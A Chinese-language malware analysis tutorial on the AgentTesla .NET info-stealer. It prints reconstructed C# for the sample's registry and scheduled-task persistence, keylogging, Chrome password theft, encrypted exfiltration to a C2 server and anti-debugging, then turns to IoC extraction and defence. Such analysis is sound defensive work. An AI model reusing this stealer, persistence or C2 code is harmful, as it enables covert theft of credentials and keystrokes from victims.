.NET 逆向——AgentTesla样本分析(下)
字数 1337 2025-08-06 20:12:46
AgentTesla样本分析(下) - .NET逆向技术详解
一、样本概述
AgentTesla是一种基于.NET框架的高级持续性威胁(APT)恶意软件,主要功能包括:
- 键盘记录
- 剪贴板窃取
- 屏幕截图
- 凭证窃取(浏览器、FTP客户端、邮件客户端等)
- 远程控制能力
二、分析环境准备
必备工具
-
反编译工具:
- dnSpy(首选,支持.NET程序集的反编译和调试)
- ILSpy
- dotPeek
-
动态分析工具:
- Process Monitor
- Process Explorer
- Wireshark/Fiddler(网络流量分析)
-
辅助工具:
- PEiD/Exeinfo PE(查壳工具)
- Resource Hacker(资源查看修改)
三、样本静态分析
1. 文件基本信息检查
- 使用PE工具检查文件属性:
- 是否为.NET程序集(查看CLR头)
- 是否加壳(常见:ConfuserEx, .NET Reactor等)
2. 反编译主程序
使用dnSpy加载样本后:
关键类识别
// 典型AgentTesla主类结构
public class Program
{
private static FormMain mainForm;
private static Config config;
private static Client client;
public static void Main()
{
// 初始化配置
config = new Config();
config.Load();
// 初始化客户端连接
client = new Client(config);
// 启动主窗体
mainForm = new FormMain(config, client);
Application.Run(mainForm);
}
}
配置解析
AgentTesla通常使用加密或混淆的配置文件:
public class Config
{
public string C2Server { get; set; }
public int Port { get; set; }
public string Mutex { get; set; }
public string InstallPath { get; set; }
public bool Persistence { get; set; }
public void Load()
{
// 通常从资源或自身解密配置
byte[] encryptedConfig = GetResource("config");
string json = Decrypt(encryptedConfig);
// 反序列化JSON配置
}
private string Decrypt(byte[] data)
{
// 常见加密方式:AES, XOR, 自定义算法
}
}
四、核心功能分析
1. 持久化机制
public class Persistence
{
public static void Install()
{
// 注册表自启动
Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true)
.SetValue("LegitApp", "\"" + Application.ExecutablePath + "\"");
// 或使用任务计划
using (TaskService ts = new TaskService())
{
TaskDefinition td = ts.NewTask();
td.Triggers.Add(new LogonTrigger());
td.Actions.Add(new ExecAction(Application.ExecutablePath));
ts.RootFolder.RegisterTaskDefinition("LegitTask", td);
}
}
}
2. 信息收集模块
键盘记录
public class Keylogger
{
private static StringBuilder logBuffer = new StringBuilder();
[DllImport("user32.dll")]
private static extern int GetAsyncKeyState(int vKey);
public static void Start()
{
Task.Run(() => {
while (true)
{
for (int i = 0; i < 255; i++)
{
int state = GetAsyncKeyState(i);
if ((state & 0x0001) == 1)
{
// 记录按键
logBuffer.Append(TranslateKey(i));
CheckBuffer();
}
}
Thread.Sleep(10);
}
});
}
}
凭证窃取
public class CredentialStealer
{
public static void Steal()
{
// 浏览器凭证
StealChrome();
StealFirefox();
StealEdge();
// 邮件客户端
StealOutlook();
StealThunderbird();
// FTP客户端
StealFileZilla();
StealWinSCP();
}
private static void StealChrome()
{
string loginDataPath = Path.Combine(
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
"Google\\Chrome\\User Data\\Default\\Login Data");
if (File.Exists(loginDataPath))
{
// 复制数据库文件并解密
string tempCopy = Path.GetTempFileName();
File.Copy(loginDataPath, tempCopy, true);
using (var conn = new SQLiteConnection($"Data Source={tempCopy};Version=3;"))
{
conn.Open();
using (var cmd = new SQLiteCommand("SELECT origin_url, username_value, password_value FROM logins", conn))
{
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
byte[] encryptedPassword = (byte[])reader["password_value"];
string password = DecryptChromePassword(encryptedPassword);
// 发送到C2
}
}
}
}
}
}
}
3. 通信模块
public class Client
{
private TcpClient tcpClient;
private Config config;
private Aes aes;
public Client(Config config)
{
this.config = config;
aes = Aes.Create();
aes.Key = Convert.FromBase64String(config.AesKey);
aes.IV = Convert.FromBase64String(config.AesIV);
}
public bool Connect()
{
try
{
tcpClient = new TcpClient();
tcpClient.Connect(config.C2Server, config.Port);
return true;
}
catch { return false; }
}
public void SendData(string dataType, byte[] data)
{
if (!Connect()) return;
using (NetworkStream stream = tcpClient.GetStream())
{
// 构造数据包
Packet packet = new Packet {
DataType = dataType,
Data = data,
MachineId = GetMachineId(),
Timestamp = DateTime.Now
};
// 序列化并加密
byte[] jsonData = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(packet));
byte[] encrypted = aes.Encrypt(jsonData);
// 发送
stream.Write(encrypted, 0, encrypted.Length);
}
}
private string GetMachineId()
{
// 生成唯一机器标识
return $"{Environment.MachineName}-{Environment.UserName}-{GetHWID()}";
}
}
五、反分析技术
1. 混淆技术
AgentTesla常用混淆手段:
- 控制流混淆(跳转指令扰乱)
- 字符串加密
- 方法/属性/变量重命名
- 无效代码插入
2. 反调试检测
public class AntiDebug
{
[DllImport("kernel32.dll")]
private static extern bool IsDebuggerPresent();
[DllImport("kernel32.dll")]
private static extern void OutputDebugString(string lpOutputString);
public static bool Check()
{
// 简单调试器检测
if (IsDebuggerPresent())
return true;
// 时间差检测
var watch = Stopwatch.StartNew();
OutputDebugString("test");
watch.Stop();
if (watch.ElapsedMilliseconds > 100)
return true;
// 进程枚举检测分析工具
string[] badProcesses = { "dnSpy", "ProcessHacker", "Wireshark", "Fiddler" };
foreach (var process in Process.GetProcesses())
{
foreach (var bad in badProcesses)
{
if (process.ProcessName.Contains(bad))
return true;
}
}
return false;
}
}
六、动态分析技巧
1. 调试技巧
-
绕过反调试:
- 修改IsDebuggerPresent等API的返回值
- 使用dnSpy的调试器隐藏插件
-
关键点断点设置:
- 网络通信相关:TcpClient.Connect, WebClient.DownloadData
- 文件操作:File.Copy, File.WriteAllBytes
- 注册表操作:Registry.SetValue
2. 行为监控
- 文件系统:监控样本创建的临时文件和持久化位置
- 注册表:监控Run键和服务的创建
- 网络:捕获C2通信格式和内容
七、IoC提取
分析完成后应提取以下关键信息:
- C2服务器:IP/域名、端口、通信协议
- 配置信息:加密密钥、Mutex值、安装路径
- 行为特征:
- 创建的注册表项
- 持久化方式
- 窃取的数据类型
- 网络特征:
- 通信包结构
- 加密方式
- 心跳间隔
八、防御建议
-
检测:
- 监控.NET程序集的异常行为(大量键盘记录API调用)
- 检测可疑的网络连接(尤其是小型.NET应用连接外部服务器)
-
防护:
- 限制敏感API调用(如keylogging相关)
- 使用应用白名单
- 定期更新终端防护软件的.NET恶意软件检测规则
-
取证:
- 检查%AppData%和%LocalAppData%下的可疑.NET程序
- 检查注册表Run键中的可疑.NET应用
- 分析计划任务中的.NET应用
九、总结
AgentTesla作为成熟的.NET恶意软件家族,展现了高级的混淆和反分析技术。通过本次分析,我们掌握了:
- .NET恶意软件的典型结构
- 常见信息窃取技术的实现方式
- 对抗混淆和反调试的方法
- 完整的分析流程和IoC提取方法
这些技术同样适用于分析其他.NET恶意软件家族,如FormBook、NanoCore等。